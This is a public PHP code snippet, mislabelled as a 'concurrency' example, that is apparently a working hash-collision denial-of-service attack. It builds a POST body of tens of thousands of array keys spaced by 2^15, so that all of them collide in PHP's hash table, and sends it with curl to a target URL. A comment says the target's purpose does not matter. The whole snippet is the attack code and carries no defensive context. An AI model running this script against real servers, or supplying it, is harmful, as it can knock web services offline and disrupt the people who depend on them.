Quick actions

cmd+k|ctrl+k

Navigation

Languages

php并发

Snippet info

Language

Php

Visibility

public

Author

mosi

Created

2018-11-20T14:19:15Z

Updated

2018-11-21T13:52:38Z

<?php
 // 只要目标地址存在,不用管它是干嘛的
 $host = 'https://127.0.0.1/test.php';
 
 $data = '';
 $size = pow(2, 15);
 for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
 {
     $data .= '&array[' . $key . ']=0';
 }
 
 $ret = curl($host, ltrim($data,'&'));
 var_dump($ret);
 
 
 function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
 }
INFO